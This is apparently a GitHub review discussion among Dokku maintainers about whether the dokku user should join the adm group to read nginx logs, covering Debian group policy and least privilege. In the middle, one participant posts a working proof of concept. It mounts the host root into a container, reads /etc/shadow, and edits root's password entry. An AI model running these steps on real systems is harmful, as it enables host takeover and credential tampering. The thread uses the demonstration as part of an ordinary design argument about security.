With this patch, members of adm would no longer be able to read the logs.

Could we add user dokku to group adm instead?

That is incorrect. We add everybody in adm to the dokku group on line 40. Adding dokku to adm group would allow that user more access than necessary.

Oh wow, so we do.

Still, the dokku user is root equivalent by its membership in docker, so restricting its access to adm seems... kinda moot?

I don't follow. The docker group is not root on the system.

You can mount / as a volume inside a container, effectively elevating to root, per http://docs.docker.com/engine/articles/security/:

you can start a container where the /host directory will be the / directory on your host; and the container will be able to alter your host filesystem without any restriction.

✨ docker! ✨ 😉

Just because you can mount doesn't mean you are root.

Whats the debian policy on the adm group?

From https://www.debian.org/doc/manuals/securing-debian-howto/ch12.en.html

adm: Group adm is used for system monitoring tasks. Members of this group can read many log files in /var/log, and can use xconsole. Historically, /var/log was /usr/adm (and later /var/adm), thus the name of the group.

Whats the proper way to give log access to a non-syslog/non-adm user?

Just because you can mount doesn't mean you are root.

It actually does. Docker doesn't namespace users, so root inside the container is equivalent to root on the host. Here's a proof of concept that modifies root's password on the host, using an unmodified Dokku deploy from Digital Ocean:

❯❯❯ ssh dokku@x.x.x.x apps:create myapp
Creating myapp... done

❯❯❯ ssh dokku@x.x.x.x docker-options:add myapp run "-v /:/host"

❯❯❯ git remote add dokku dokku@x.x.x.x:myapp

❯❯❯ cat Dockerfile
FROM busybox:latest
VOLUME [ "/host" ]
EXPOSE 5000
CMD [ "nc", "-l", "-p", "5000" ]

❯❯❯ git push dokku
# ... completes normally ...

❯❯❯ ssh dokku@x.x.x.x run myapp ls -l /host/etc/shadow
-rw-r-----    1 root     42             676 Nov  6 19:37 /host/etc/shadow

❯❯❯ ssh dokku@x.x.x.x run myapp cat /host/etc/shadow
root:*:16176:0:99999:7:::
# ...
dokku:*:16734:0:99999:7:::

❯❯❯ ssh dokku@x.x.x.x run myapp sed -i 's/root:\*:/root:HELLOWORLD:/' /host/etc/shadow

❯❯❯ ssh dokku@x.x.x.x run myapp cat /host/etc/shadow
root:HELLOWORLD:16176:0:99999:7:::
# ...
dokku:*:16734:0:99999:7:::

TL;DR: Dokku is an administrative user, so I believe it would be consistent with policy to add it to the adm group. Plus, anyone that can talk to Dokku can trivially elevate to root anyways, so this is more about convenience / consistency than it is about security. :)

I'm still not following why we would explicitly add the dokku user to a broader privileged group than necessary. Sure a user could maliciously devise an attack with the dokku user using docker but in the normal running state this is not how things happen.

I'm 👎 on adding dokku to adm.

EDIT: calling dokku an administrative user is fairly ambiguous. dokku is meant to administer a specific set of services and not the entire host.

@michaelshobbs What specific risks are you concerned about regarding adding Dokku to adm?

I'm also confused on the pushback to adding dokku to adm.. Dokku controls more services than just its own. That's why it's part of the docker group. Arguably it should be part of adm for similar reasons. It's not an isolated app that doesn't touch the rest of the system. Instead of making the entire system conform to dokku (chowning /var/logs/nginx) it could easily be a part of the few groups it needs.

@callahad to me, it's the principle of explicitly giving dokku more access to the filesystem than is required. i see the access you described via a container as implicit access. docker could choose to change this behavior (perhaps via --privileged) in the future.

@mmerickel in my mind dokku controls two services; nginx and docker. to that end it needs explicit access to those two services (+ related files; i.e. logs and config) and nothing more. so we're not making the entire system conform to dokku. just giving dokku explicit access.

the solution provided gives dokku and the adm group access to the same nginx log files. what am i missing?

It stomps on the rest of the system more than it needs to in order to accomplish that goal. But I suppose that's already been made clear and decided unnecessary since it's come up several times.

@michaelshobbs I'm mainly concerned that we're subverting the intentional design of the operating system, which means normal operation begins to require dokku-specific considerations. In other words, installing dokku voids fundamental assumptions that I could otherwise make about a running system.

For instance, after installing Dokku, I can't grant log access to a new user by adding them to adm, as documented at https://wiki.ubuntu.com/Security/Privileges#Monitor_system_logs and in the Debian Policy Manual above.

Instead, I'll have to somehow know to add them to both the adm and dokku groups. And that does concern me, since membership in dokku grants far more access to the system than the read-only log access granted by the adm group. Specifically, almost every file inside containers built by herokuish is readable and writable by the dokku group, including the herokuish binary itself.

So now my little log processing script, or syslog itself, can pwn all of my running containers.

TL;DR: Folding group adm into group dokku creates a security risk and invalidates documented properties of the operating system. The right thing to do would be to create a separate group just for reading the logs, and add the Dokku user to that group.

And if we're going to do that, we might as well use the group explicitly designed for that purpose: adm. 😉

My sticking point is that adding dokku to the adm group explicitly gives dokku access to more files & directories than it needs. The point of the current implementation is to create a new group that gives dokku access to the logs it needs without removing access to those logs for default system users. Granted, it reconfigures a very small subsection of /var/log.

If we really think there's no issue giving dokku access to everything adm does then that makes this much simpler to implement. However, I really disagree that opening up all of /var/log to dokku is the right move.

@josegonzalez any opinion here?

I'm in favor of adding dokku to adm, as I'd imagine other packages will find it weird that adm doesn't have access to the log files.

Another workaround would be to not log output to /var/log and shove it somewhere were dokku does have access...

@callahad @mmerickel thoughts on logging to a dokku owned area?

If you wanted to redirect the dokku-specific nginx configs to /var/log/dokku I don't have a problem with that. I'd leave the default nginx.conf pointing to /var/log/nginx however.

This also solves the logrotate issues because you'd install a custom rotate into /var/log/dokku (I think you already have one).

I'm not sure how this interacts with nginx setting permissions on the files though.

+1

Note: that would be heavily non-standard and would logging for anyone using a custom nginx config.

The least invasive thing is to add dokku to the adm group, and while that isn't a great solution, I do think - given the alternatives - it's the best one we have.